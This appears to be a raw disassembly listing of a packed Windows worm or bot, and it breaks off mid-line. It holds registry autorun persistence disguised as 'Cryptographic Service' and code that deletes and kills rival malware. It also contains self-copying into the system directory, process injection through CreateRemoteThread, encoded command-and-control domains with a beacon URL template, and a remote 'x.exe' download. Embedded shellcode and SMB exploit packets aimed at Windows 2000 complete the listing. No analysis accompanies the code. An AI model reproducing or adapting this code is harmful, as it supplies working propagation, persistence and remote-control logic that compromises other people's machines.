UPX0:314227BFj call sub_31421FF9 mov ebx, eax call sub_31422712 cmp ebx, 100007Fh jz short loc_314227FA push ebx push offset sub_3142255F call sub_31421F52 pop ecx pop ecx loc_314227FA: ; CODE XREF: UPX0:314227EBj mov dword ptr [esp+10h], 4 loc_31422802: ; CODE XREF: UPX0:31422813j push ebx push offset sub_314225C3 call sub_31421F52 dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_31422802 test ebp, ebp jle short loc_3142282A loc_31422819: ; CODE XREF: UPX0:31422828j push 0 push offset sub_3142264B call sub_31421F52 pop ecx dec ebp pop ecx jnz short loc_31422819 loc_3142282A: ; CODE XREF: UPX0:31422817j ; UPX0:31422836j ... call sub_31422038 test eax, eax jz short loc_31422838 push edi call esi ; Sleep jmp short loc_3142282A ; --------------------------------------------------------------------------- loc_31422838: ; CODE XREF: UPX0:31422831j ; UPX0:31422844j call sub_31422038 test eax, eax jnz short loc_31422846 push edi call esi ; Sleep jmp short loc_31422838 ; --------------------------------------------------------------------------- loc_31422846: ; CODE XREF: UPX0:3142283Fj call sub_31422712 jmp short loc_3142282A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142284D proc near ; CODE XREF: sub_314229E6+93p ; sub_31422B67+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3142100C ; RegOpenKeyExA test eax, eax jnz short loc_31422880 push [ebp+arg_8] push [ebp+arg_4] call dword_31421010 ; RegDeleteValueA push [ebp+arg_4] call dword_31421014 ; RegCloseKey loc_31422880: ; CODE XREF: sub_3142284D+1Cj pop ebp retn sub_3142284D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422882 proc near ; CODE XREF: sub_314221C4+33p ; sub_314229E6+84p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3142100C ; RegOpenKeyExA test eax, eax jz short loc_314228AE push 1 pop eax jmp short loc_314228D8 ; --------------------------------------------------------------------------- loc_314228AE: ; CODE XREF: sub_31422882+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31421008 ; RegQueryValueExA test eax, eax jz short loc_314228CD push 2 pop esi loc_314228CD: ; CODE XREF: sub_31422882+46j push [ebp+arg_10] call dword_31421014 ; RegCloseKey mov eax, esi loc_314228D8: ; CODE XREF: sub_31422882+2Aj pop esi leave retn sub_31422882 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314228DB proc near ; CODE XREF: sub_31422A9B+96p ; sub_31422B67+7Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31421000 ; RegCreateKeyExA test eax, eax jz short loc_31422904 push 1 pop eax jmp short loc_3142292B ; --------------------------------------------------------------------------- loc_31422904: ; CODE XREF: sub_314228DB+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31421004 ; RegSetValueExA test eax, eax jz short loc_31422920 push 2 pop esi loc_31422920: ; CODE XREF: sub_314228DB+40j push [ebp+arg_4] call dword_31421014 ; RegCloseKey mov eax, esi loc_3142292B: ; CODE XREF: sub_314228DB+27j pop esi pop ebp retn sub_314228DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142292E proc near ; CODE XREF: sub_314229E6+9Fp var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_31421084 ; lstrlenA mov esi, eax dec esi test esi, esi jle loc_314229E2 loc_3142294E: ; CODE XREF: sub_3142292E+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_31422957 dec esi jns short loc_3142294E loc_31422957: ; CODE XREF: sub_3142292E+24j push 0 push 2 call sub_31422D2C ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_314229E2 push 128h lea eax, [ebp+var_128] push 0 push eax call sub_31422CD6 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_31422D26 ; Process32First test eax, eax jz short loc_314229E2 lea esi, [esi+ebx+1] loc_3142299F: ; CODE XREF: sub_3142292E+B2j lea eax, [ebp+var_104] push eax push esi call dword_31421104 ; strstr pop ecx test eax, eax pop ecx jz short loc_314229CF push [ebp+var_120] push 0 push 1F0FFFh call dword_314210B0 ; OpenProcess push 0 push eax call dword_31421060 ; TerminateProcess loc_314229CF: ; CODE XREF: sub_3142292E+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_31422D20 ; Process32Next test eax, eax jnz short loc_3142299F loc_314229E2: ; CODE XREF: sub_3142292E+1Aj ; sub_3142292E+38j ... pop esi pop ebx leave retn sub_3142292E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314229E6 proc near ; CODE XREF: UPX0:3142237Bp var_13C = byte ptr -13Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push ebx push esi lea eax, [ebp+var_34] push edi mov [ebp+var_34], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_30], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_2C], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_28], offset aBotLoader ; "Bot Loader" mov [ebp+var_24], offset aSystray ; "SysTray" mov [ebp+var_20], offset aWinupdate ; "WinUpdate" mov [ebp+var_1C], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_18], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_14], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_10], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_C], offset aWindowsUpdate ; "Windows Update" mov [ebp+var_4], eax mov [ebp+var_8], 0Bh mov edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_31422A56: ; CODE XREF: sub_314229E6+AEj mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_13C] push eax push ebx push edi push esi call sub_31422882 add esp, 14h test eax, eax jnz short loc_31422A8D push ebx push edi push esi call sub_3142284D lea eax, [ebp+var_13C] push eax call sub_3142292E add esp, 10h loc_31422A8D: ; CODE XREF: sub_314229E6+8Ej add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_31422A56 pop edi pop esi pop ebx leave retn sub_314229E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422A9B proc near ; CODE XREF: sub_31422B67+D1p ; sub_31422B67+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_31422AB0 push [ebp+arg_0] call dword_31421074 ; DeleteFileA loc_31422AB0: ; CODE XREF: sub_31422A9B+Aj lea eax, [ebp+var_78] push 63h push eax call dword_3142108C ; GetSystemDirectoryA test eax, eax jz locret_31422B65 push esi call dword_314210FC ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_31421F73 mov esi, dword_31421088 pop ecx pop ecx lea eax, [ebp+var_14] push offset dword_314241F0 push eax call esi ; lstrcatA lea eax, [ebp+var_78] push offset dword_314241F8 push eax call esi ; lstrcatA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcatA lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31421050 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_31421084 ; lstrlenA inc eax push eax lea eax, [ebp+var_78] push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_314228DB add esp, 14h push dword_31424FF4 call dword_3142107C ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_31421054 ; WinExec push 1F4h call dword_31421094 ; Sleep push 0 call dword_314210E0 ; ExitProcess pop esi locret_31422B65: ; CODE XREF: sub_31422A9B+23j leave retn sub_31422A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422B67 proc near ; CODE XREF: UPX0:31422380p var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_31421048 ; GetModuleFileNameA test eax, eax jz loc_31422CA0 and dword_31425010, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_31422882 add esp, 14h test eax, eax jz short loc_31422BED call dword_314210FC ; rand push 0Ah mov ebx, offset aFgnsdrjyrsert ; "fgnsdrjyrsert" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_31421F73 pop ecx pop ecx push ebx call dword_31421084 ; lstrlenA inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_314228DB add esp, 14h jmp short loc_31422BFC ; --------------------------------------------------------------------------- loc_31422BED: ; CODE XREF: sub_31422B67+4Dj lea eax, [ebp+var_20] push eax push offset aFgnsdrjyrsert ; "fgnsdrjyrsert" call dword_31421068 ; lstrcpyA loc_31422BFC: ; CODE XREF: sub_31422B67+84j lea eax, [ebp+var_E8] push 63h push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_31422882 add esp, 14h test eax, eax jz short loc_31422C42 push 2 push offset a1 ; "1" push offset aClient ; "Client" push edi push esi call sub_314228DB lea eax, [ebp+var_84] push eax push 0 call sub_31422A9B add esp, 1Ch jmp short loc_31422CA0 ; --------------------------------------------------------------------------- loc_31422C42: ; CODE XREF: sub_31422B67+B3j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call dword_3142104C ; lstrcmpiA test eax, eax jnz short loc_31422C8B lea eax, [ebp+var_20] push 1Dh mov ebx, offset aClient ; "Client" push eax push ebx push edi push esi call sub_31422882 add esp, 14h test eax, eax jnz short loc_31422CA0 push ebx push edi push esi mov dword_31425010, 1 call sub_3142284D add esp, 0Ch jmp short loc_31422CA0 ; --------------------------------------------------------------------------- loc_31422C8B: ; CODE XREF: sub_31422B67+F1j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call sub_31422A9B pop ecx pop ecx loc_31422CA0: ; CODE XREF: sub_31422B67+1Fj ; sub_31422B67+D9j ... pop edi pop esi pop ebx leave retn sub_31422B67 endp ; =============== S U B R O U T I N E ======================================= sub_31422CA5 proc near ; CODE XREF: sub_314211A0+CAp ; sub_314215C7+11p ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_31421044 ; VirtualAlloc retn sub_31422CA5 endp ; =============== S U B R O U T I N E ======================================= sub_31422CB9 proc near ; CODE XREF: sub_314211A0+10Bp ; sub_314215C7+C0p arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_31421040 ; VirtualFree retn sub_31422CB9 endp ; --------------------------------------------------------------------------- align 10h loc_31422CD0: ; DATA XREF: sub_31421422+Ao ; sub_314223B2+Ao jmp dword ptr loc_31421100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422CD6 proc near ; CODE XREF: sub_31421801+128p ; sub_31421801+134p ... jmp dword_314210F8 sub_31422CD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422CDC proc near ; CODE XREF: sub_31421801+9Cp ; sub_31421801+C5p ... jmp dword_314210F4 sub_31422CDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422CE2 proc near ; CODE XREF: sub_31421801+93p ; sub_31421801+B2p ... jmp dword_314210F0 sub_31422CE2 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_31422CF0 proc near ; CODE XREF: sub_31421801+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_31422D10 loc_31422CFC: ; CODE XREF: sub_31422CF0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_31422CFC loc_31422D10: ; CODE XREF: sub_31422CF0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_31422CF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422D20 proc near ; CODE XREF: sub_3142292E+ABp jmp dword_31421064 sub_31422D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422D26 proc near ; CODE XREF: sub_3142292E+64p jmp dword_3142105C sub_31422D26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422D2C proc near ; CODE XREF: sub_3142292E+2Dp jmp dword_31421058 sub_31422D2C endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) dd 4B3h dup(0) dword_31424000 dd 206h, 2400h, 31415352h, 180h, 10001h, 11838DF5h, 2AEC5279h ; DATA XREF: sub_31421422+112o dd 0E7F63AE4h, 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 0A032615Eh dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h dd 3072657Ah, 0 aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_314215C7+84o align 10h byte_31424080 db 0 ; DATA XREF: sub_314216A2+1Br off_31424081 dd offset dword_314241E4 ; DATA XREF: sub_314216A2+23r align 2 dd offset dword_314241D4 dw 0C401h dd 1314241h, 314241B4h, 4241A000h, 41900131h, 80013142h dd 314241h, 31424174h, 42416800h, 41580131h, 48003142h dd 1314241h, 3142413Ch, 42417400h, 41D40131h, 30003142h dd 314241h, 314241D4h, 42412001h, 41480031h, 10013142h dd 314241h, 31424130h, 42410001h, 40F80131h, 74003142h dd 314241h, 31424130h, 2E767663h, 7572h, 2E777777h, 6C646572h dd 2E656E69h, 7572h, 656C6966h, 72616573h, 722E6863h, 75h dd 6F626F72h, 61686378h, 2E65676Eh, 6D6F63h, 68746566h dd 2E647261h, 7A6962h, 63657361h, 2E616B68h, 7572h, 7473616Dh dd 782D7265h, 6D6F632Eh, 0 dd 6F6C6F63h, 61622D72h, 722E6B6Eh, 75h, 6B76616Bh, 742E7A61h dd 76h, 74757263h, 6E2E706Fh, 75h, 6F64696Bh, 61622D73h dd 722E6B6Eh, 75h, 65726170h, 61622D78h, 722E6B6Eh, 75h dd 6C756461h, 6D652D74h, 65726970h, 6D6F632Eh, 0 dd 666E6F6Bh, 616B7369h, 726F2E74h, 67h, 69746963h, 6E61622Dh dd 75722E6Bh, 0 dword_314241D4 dd 72617778h, 6A632E65h, 656E2E62h, 74hdword_314241E4 dd 617A616Dh, 616B6166h, 75722Ehdword_314241F0 dd 6578652Eh, 0 ; sub_3142207E+55o ... dword_314241F8 dd 5Ch ; sub_31422A9B+56o aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_314211A0+13o align 10h aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31421316+1Co align 4 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31421316+Co align 4 aZer0 db 'zer0',0 ; DATA XREF: sub_31421422+34o align 10h aHttpS db 'http://%s',0 ; DATA XREF: sub_314215C7+71o align 4 aHttpSIndex_php db 'http://%s/index.php?id=%s&scn=%d&inf=%d&ver=19&cnt=%s',0 ; DATA XREF: sub_314215C7+57o align 8 byte_314242B8 db 0EBh ; DATA XREF: sub_31421801+24Eo ; sub_31421801+260o ... db 58h word_314242BA dw 7468h ; DATA XREF: sub_31422712+40o dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h dd 6578652Eh, 4 dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h dd 302E342Fh, 0C9335DDFh, 1EEB966h, 8B05758Dh, 3C068AFEh dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h, 0DAE80AEBh dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C071C9h, 0C999C999h dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B371C999h dd 99C99998h, 0E3F367C9h, 0DC1C10F0h, 99C99998h, 0C959B2C9h dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A10414D9h, 99C99998h dd 9E71CAC9h, 99C99998h, 61688DC9h, 0AD1C1091h, 99C99998h dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h, 98F3C8C8h dd 0C957DC14h, 0C9992571h, 0C999C999h, 91C0A44Eh, 59924912h dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993B71CBh, 99C999C9h dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch dd 9998DC2Ch, 0C9C999C9h, 0C9991E71h, 0C999C999h, 83B8B0FBh dd 5D12CDC3h, 0C9C999F3h, 0DC2C66CBh, 99C99998h, 0AD2C66C9h dd 99C99998h, 990B71C9h, 99C999C9h, 0A6485AC9h, 2C66C096h dd 0C99998ADh, 1B71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h dd 98A10414h, 0C999C999h, 99E971CAh, 99C999C9h, 26F434C9h dd 0C999F371h, 0C999FC71h, 0C999C999h, 0EF133BF9h, 376B4629h dd 9966DE5Fh, 0A8EC5AC9h, 99C999A0h, 99C999C9h, 0B7C999C9h dd 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6 dup(99C999C9h) dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h dd 0B459AAF9h, 662A2A25h, 9093ACC9h, 9CC9B781h, 83639D90h dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah, 9BAB9E59h dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h dd 0F885BDDDh, 98D01C10h, 0C999C999h, 7F664966h, 8712FEFDh dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh dd 0 dword_31424580 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_31421801+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_3142460C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_314246B8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_31424798 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_31421801+BFo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_314247FC dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_31424868 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_3142490C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_3142498C dd 401495h, 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_31424A20 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_31424A8C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_31424B00 dd 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 3 dup(0) dd 586E6957h, 72502050h, 6Fh, 9 dup(0) db 2 dup(0) dword_31424BBE dd 1004600h dw 1 dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0) dword_31424BF8 dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0) ; DATA XREF: sub_31421801+41Bo ; sub_31421801+45Do dd 123C0000h, 751Ch, 0Eh dup(0) ; --------------------------------------------------------------------------- loc_31424C70: ; DATA XREF: sub_31421801+44Ao jmp short loc_31424C78 ; --------------------------------------------------------------------------- jmp short loc_31424C7A ; --------------------------------------------------------------------------- align 8 loc_31424C78: ; CODE XREF: UPX0:loc_31424C70j ; DATA XREF: sub_31421801+5Co pop esp pop esp loc_31424C7A: ; CODE XREF: UPX0:31424C72j and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_31424C84 dd 1CEC8166h dword_31424C88 dd 0E4FF07h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_31421D68+62o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31421D68+39o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31421D68+2Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_31421D68+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_31421D68+8o ; sub_314223B2+12Co align 10h aUterm19 db 'uterm19',0 ; DATA XREF: sub_31421DF0:loc_31421ED5o ; UPX0:31422351o ... aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_31421DF0+58o align 4 aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_31421DF0:loc_31421E37o align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_31421DF0+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_31421DF0+18o align 4 dword_31424D38 dd 0E9F3F5h aHttp1_1200Ok db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_3142207E+106o db 0Dh,0Ah db 0Dh,0Ah,0 align 4 aContentLengthU db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_3142207E+85o db 0Dh,0Ah,0 align 4 aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_3142207E+71o db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0 align 4 aGet db 'GET',0 ; DATA XREF: sub_3142207E+3Do aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:3142233Co align 4 aUser32 db 'user32',0 ; DATA XREF: sub_314223B2+133o align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_314223B2+125o align 4 aWininet db 'wininet',0 ; DATA XREF: sub_314223B2+11Eo aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_314223B2+111o align 4 aU19x db 'u19x',0 ; DATA XREF: sub_314223B2+BDo align 4 aU19 db 'u19',0 ; DATA XREF: sub_314223B2+B6o aU18 db 'u18',0 ; DATA XREF: sub_314223B2+AFo aU17 db 'u17',0 ; DATA XREF: sub_314223B2+A8o aU16 db 'u16',0 ; DATA XREF: sub_314223B2+A1o aU15 db 'u15',0 ; DATA XREF: sub_314223B2+9Ao aU14 db 'u14',0 ; DATA XREF: sub_314223B2+93o aU13i db 'u13i',0 ; DATA XREF: sub_314223B2+8Co align 4 aU13 db 'u13',0 ; DATA XREF: sub_314223B2+85o aU12 db 'u12',0 ; DATA XREF: sub_314223B2+7Eo aU11 db 'u11',0 ; DATA XREF: sub_314223B2+77o aU10 db 'u10',0 ; DATA XREF: sub_314223B2+70o aU9 db 'u9',0 ; DATA XREF: sub_314223B2+69o align 4 aU8 db 'u8',0 ; DATA XREF: sub_314223B2+62o align 4 aU18x db 'u18x',0 ; DATA XREF: sub_314223B2+5Bo align 4 aU17x db 'u17x',0 ; DATA XREF: sub_314223B2+54o align 4 aU16x db 'u16x',0 ; DATA XREF: sub_314223B2+4Do align 4 aU15x db 'u15x',0 ; DATA XREF: sub_314223B2+46o align 4 aU14x db 'u14x',0 ; DATA XREF: sub_314223B2+3Fo align 4 aU13x db 'u13x',0 ; DATA XREF: sub_314223B2+38o align 4 aU12x db 'u12x',0 ; DATA XREF: sub_314223B2+31o align 4 aU11x db 'u11x',0 ; DATA XREF: sub_314223B2+2Ao align 4 aU10x db 'u10x',0 ; DATA XREF: sub_314223B2+23o align 4 aHttpSDX_exe db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_31422712+2Do align 4 aSoftwareMicros db 